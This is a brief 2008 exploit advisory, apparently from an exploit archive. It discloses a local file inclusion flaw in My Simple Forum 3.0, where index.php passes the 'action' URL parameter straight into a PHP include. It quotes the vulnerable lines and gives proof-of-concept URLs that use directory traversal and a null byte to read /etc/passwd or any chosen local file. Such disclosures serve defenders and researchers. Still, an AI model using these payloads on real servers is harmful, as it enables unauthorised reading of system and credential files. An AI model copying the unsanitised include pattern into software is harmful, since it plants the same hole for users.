/*

  $Id: mysimpleforum-3.0-lfi.txt,v 0.1 2008/12/04 23:03:00 cOndemned Exp $

  My Simple Forum 3.0 (index.php action) Local File Inclusion Vulnerability
  Bug discovered by cOndemned

  Script download: http://drennansoft.com/index.php?action=download&id=1

  Greetz: ZaBeaTy, str0ke, d2, TBH, Avantura

*/


Source of index.php:

  49.  if(file_exists('site/'.$_GET['action'].'.php')) {
  50.  include('site/'.$_GET['action'].'.php');
  51.  } else {
  
  local file inclusion on line 50
  

Proof of concept:

  http://[host]/[my_simple_forum_path]/index.php?action=../../../../../../../etc/passwd%00
  http://[host]/[my_simple_forum_path]/index.php?action=../../../../[localfile]%00